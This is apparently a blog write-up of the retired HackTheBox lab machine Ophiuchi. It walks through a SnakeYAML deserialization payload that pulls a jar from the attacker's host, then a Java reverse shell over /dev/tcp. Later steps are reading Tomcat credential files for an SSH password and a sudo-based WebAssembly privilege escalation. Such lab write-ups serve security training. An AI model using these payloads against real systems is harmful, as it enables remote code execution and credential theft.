HTB: Ophiuchi

Posted on 05 Jul 2021 in security • 5 min read

Ophiuchi card

This is a writeup about a retired HacktheBox machine: Ophiuchi created by felamos and publish on February 13, 2021. This box is classified as a medium machine. The user part involves YAML and deserialization as the root part involves webassembly binaries.

User

Reco

We start with an nmap scan. Only ports 22 (SSH) and 8080 (HTTP) are open.

# Nmap 7.91 scan initiated Sat Feb 20 04:02:47 2021 as: nmap -oN notes -sS -p- 10.129.98.255
Nmap scan report for 10.129.98.255
Host is up (0.014s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy

# Nmap done at Sat Feb 20 04:03:22 2021 -- 1 IP address (1 host up) scanned in 35.41 seconds

Web

The web page is an Online YAML Parser. We quickly guess that this would be about YAML deserialization. A few "random" data generate a Java stack trace indicating the use of the Snake YAML library.

A Google search lead us to a medium article about exploiting YAML deserialization

We run an python http server and use the following payload

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.10.14.16:8000"]
  ]]
]

Despite the "error" message on the website we still got a hit on our Python HTTP server.

$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.98.255 - - [20/Feb/2021 04:25:51] "GET / HTTP/1.1" 200 -

A link in the medium article lead us to a github repository for a YAML payloads generator.

We change the paylaod to Runtime.getRuntime().exec("wget http://10.10.14.16:8000/boom"); and send it to the YAML parser

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.10.14.16:8000/yaml-payload.jar"]
  ]]
]

We got an other Java error "java.lang.UnsupportedClassVersionError: artsploit/AwesomeScriptEngineFactory has been compiled by a more recent version of the Java Runtime (class file version 60.0), this version of the Java Runtime only recognizes class file versions up to 55.0".

On my Kali Linux I am using openjdk with Java 16 so our javac produced a newer version of the code.

/usr/lib/jvm/java-16-openjdk-amd64/bin/javac

We just install Java 11 using sudo apt-get install openjdk-11-jdk and run the specific Java 11 compiler. Then we got a hit with our "second" payload

kali@kali:~/pown/htb_Ophiuchi/yaml-payload$ /usr/lib/jvm/java-11-openjdk-amd64/bin/javac src/artsploit/AwesomeScriptEngineFactory.java
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
kali@kali:~/pown/htb_Ophiuchi/yaml-payload$ jar -cvf yaml-payload.jar -C src/ .
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
added manifest
adding: artsploit/(in = 0) (out= 0)(stored 0%)
adding: artsploit/AwesomeScriptEngineFactory.class(in = 1620) (out= 680)(deflated 58%)
adding: artsploit/AwesomeScriptEngineFactory.java(in = 1493) (out= 404)(deflated 72%)
ignoring entry META-INF/
adding: META-INF/services/(in = 0) (out= 0)(stored 0%)
adding: META-INF/services/javax.script.ScriptEngineFactory(in = 36) (out= 38)(deflated -5%)
kali@kali:~/pown/htb_Ophiuchi/yaml-payload$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.98.255 - - [20/Feb/2021 04:47:15] "GET /yaml-payload.jar HTTP/1.1" 200 -
10.129.98.255 - - [20/Feb/2021 04:47:15] "GET /yaml-payload.jar HTTP/1.1" 200 -
10.129.98.255 - - [20/Feb/2021 04:47:15] code 404, message File not found
10.129.98.255 - - [20/Feb/2021 04:47:15] "GET /boom HTTP/1.1" 404 -

We modify it to use the reverse shell Java payload from Payload all the things and catch the new exception in the Java code as shown in the code block below.

public AwesomeScriptEngineFactory() {
    try {
        Runtime r = Runtime.getRuntime();
        Process p = r.exec(new String[] { "/bin/bash", "-c", "exec 5<>/dev/tcp/10.10.14.16/4242;cat <&5 | while read line; do $line 2>&5 >&5; done" });
        p.waitFor();
    } catch (IOException | InterruptedException e) {
        e.printStackTrace();
    }
}

Running it give us a reverse shell as the tomcat user.

$ nc -l -p 4242
id
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)

Stored credential

We start enumerating and found out that the user is probably admin.

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
<SNIP>
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
tomcat:x:1001:1001::/opt/tomcat:/bin/false
admin:x:1000:1000:,,,:/home/admin:/bin/bash

When looking at the directories, we found a conf folder containing the tomcat-users.xml file. This file classically store the user that can access the tomcat manager panel (which is not exposed on this box).

ls -alR conf
conf:
total 240
drwxr-x--- 2 root tomcat   4096 Dec 28 00:37 .
drwxr-xr-x 9 root tomcat   4096 Oct 11 14:07 ..
-rw-r----- 1 root tomcat  12873 Sep 10 08:25 catalina.policy
-rw-r----- 1 root tomcat   7262 Sep 10 08:25 catalina.properties
-rw-r----- 1 root tomcat   1400 Sep 10 08:25 context.xml
-rw-r----- 1 root tomcat   1149 Sep 10 08:25 jaspic-providers.xml
-rw-r----- 1 root tomcat   2313 Sep 10 08:25 jaspic-providers.xsd
-rw-r----- 1 root tomcat   4144 Sep 10 08:25 logging.properties
-rw-r----- 1 root tomcat   7588 Sep 10 08:25 server.xml
-rw-r----- 1 root tomcat   2234 Dec 28 00:37 tomcat-users.xml
-rw-r----- 1 root tomcat   2558 Sep 10 08:25 tomcat-users.xsd
-rw-r----- 1 root tomcat 172359 Sep 10 08:25 web.xml

We look at the file and found a few default username and passwords and also the admin user with the whythereisalimit password.

cat conf/tomcat*
<?xml version="1.0" encoding="UTF-8"?>
<!--
<SNIP>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
        version="1.0">
<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>
SNIP>
<!--
  <role rolename="tomcat"/>
  <role rolename="role1"/>
  <user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
  <user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
  <user username="role1" password="<must-be-changed>" roles="role1"/>
-->
<SNIP>

We connect to the box with SSH using this user and got the first flag.

kali@kali:~$ #whythereisalimit
kali@kali:~$ ssh admin@10.129.98.255
admin@10.129.98.255's password:
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-51-generic x86_64)
<SNIP>
admin@ophiuchi:~$ id
uid=1000(admin) gid=1000(admin) groups=1000(admin)
admin@ophiuchi:~$ cat user.txt
6aa83180b3e469e3f5de725c639a601b

Root

We enumerate the box and quickly found out that we can execute a specific go program as root without password.

admin@ophiuchi:~$ sudo -l
Matching Defaults entries for admin on ophiuchi:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User admin may run the following commands on ophiuchi:
    (ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go

The content of the "index.go" file is the following:

package main

import (
        "fmt"
        wasm "github.com/wasmerio/wasmer-go/wasmer"
        "os/exec"
        "log"
)


func main() {
        bytes, _ := wasm.ReadBytes("main.wasm")

        instance, _ := wasm.NewInstance(bytes)
        defer instance.Close()
        init := instance.Exports["info"]
        result,_ := init()
        f := result.String()
        if (f != "1") {
                fmt.Println("Not ready to deploy")
        } else {
                fmt.Println("Ready to deploy")
                out, err := exec.Command("/bin/sh", "deploy.sh").Output()
                if err != nil {
                        log.Fatal(err)
                }
                fmt.Println(string(out))
        }
}

Basically the program read a webassemply file main.wasm using a relative path and if the file map "info" return 1 it run a bash script deploy.sh also using a relative path. We "just" need to create a new main.wasm that return 1 and a bash script that give us the root flag.

We download main.wasm and "decompile" it using wabt and its online wasm2wat "decompiler"

Using wat2wasm We just change the fourth line (i32.const 0)) to (i32.const 1)) and download the resulting wasm file. We upload it on the box in our home folder and create a deploy.sh bash file to display the root flag:

kali@kali:~/pown/htb_Ophiuchi$ scp  test.wasm  admin@10.129.98.255:main.wasm
admin@10.129.98.255's password:
test.wasm

admin@ophiuchi:~$ echo 'cat /root/root.txt' > deploy.sh
admin@ophiuchi:~$ chmod +x deploy.sh
admin@ophiuchi:~$ sudo /usr/bin/go run /opt/wasm-functions/index.go
Ready to deploy
d153e100b32fe456e149a86ef6468ac6

Wrapping up

A very interesting box that I would recommend to beginners as it is mostly straightforward with no rabbit hole.